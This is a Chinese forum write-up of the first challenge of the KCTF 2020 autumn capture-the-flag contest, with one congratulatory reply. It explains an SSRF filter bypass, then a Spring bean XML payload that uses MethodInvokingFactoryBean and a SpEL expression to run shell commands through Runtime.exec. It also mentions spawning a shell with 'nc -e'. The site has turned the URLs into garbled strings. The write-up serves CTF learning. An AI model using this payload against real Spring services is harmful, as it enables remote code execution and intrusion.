首页
社区
课程
招聘
[原创] KCTF2020 秋季赛 第一题 至暗时刻
发表于: 2020-12-15 00:08 6820

[原创] KCTF2020 秋季赛 第一题 至暗时刻

2020-12-15 00:08
6820

根据 html 源码中的注释, 有一个很明显的 ssrf, 但是有些过滤, fuzz 半天发现 41cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5x3g2)9J5k6e0x3$3i4K6u0W2x3e0b7#2i4K6u0W2x3e0f1%4i4K6y4m8z5o6l9^5z5q4)9J5c8X3N6W2N6r3W2E0j5h3N6W2i4K6y4r3N6i4u0D9i4K6y4p5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4u0E0j5U0p5J5x3W2)9J5k6h3y4F1i4K6t1#2x3U0f1K6k6U0N6Q4x3X3g2%4N6%4N6Q4x3X3g2H3k6h3c8A6P5g2)9J5k6h3y4G2L8g2)9J5c8W2)9J5b7H3`.`. 就可以 ssrf 任意网站.

 

之后就可以通过 ssrf 打 loadConfig 这个接口, 根据报错可以知道用的是 BeanDefinition, 上 stackoverflow 可以查到 MethodInvokingFactoryBean 可以调用方法导致 rce.

 

然后自己测出来又存在 Spel 表达式执行

 

所以就用 exec 的报错来回显 Spel 的结果, 因为用的 root 权限, apt 装个 unzip, 就可以解压出 flag 读取. 之后发现用的 busybox, 用 nc -e 也可以弹 shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="2c5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6#2)9J5c8Y4y4U0K9r3g2E0j5g2)9J5c8X3u0W2j5h3&6K6"
       xmlns:xsi="79bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3U0l9H3x3g2)9J5c8W2S2y4e0q4y4U0K9r3g2E0j5g2)9J5k6r3W2F1M7%4c8S2L8X3y4W2"
       xmlns:p="947K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6#2)9J5c8Y4y4U0K9r3g2E0j5g2)9J5c8Y4l9`."
       xmlns:aop="765K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6#2)9J5c8Y4y4U0K9r3g2E0j5g2)9J5c8X3q4G2M7l9`.`."
       xmlns:tx="df2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6#2)9J5c8Y4y4U0K9r3g2E0j5g2)9J5c8Y4c8^5"
       xsi:schemaLocation="http://c31K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/beans http://323K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/beans/spring-beans-3.0.xsd
       http://d66K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/aop http://eb5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/aop/spring-aop-3.0.xsd
       http://41eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/tx http://5abK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4y4H3M7X3W2F1k6$3k6J5j5h3#2W2N6$3!0J5K9#2)9J5k6h3!0J5k6H3`.`./schema/tx/spring-tx-3.0.xsd">
 
   <bean id="wtf" class="java.lang.Runtime" factory-method="getRuntime"/>
 
   <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
        <property name="targetObject" ref="wtf" />
        <property name="targetMethod">
            <value>exec</value>
        </property>
        <property name="arguments">
            <list>
                <value>
                 #{new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","ls -la /"}).getInputStream())).lines().parallel().collect(T(java.util.stream.Collectors).joining("\n"))}
                </value>
                <value>
                    1
                </value>
                <value>
                    1
                </value>
            </list>
        </property>
    </bean>
</beans>

[培训]科锐逆向工程师培训第53期2025年7月8日开班!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 3839
活跃值: (5111)
能力值: ( LV3,RANK:37 )
在线值:
发帖
回帖
粉丝
2
师傅tql!!!
2021-5-6 13:48
0
游客
登录 | 注册 方可回帖
返回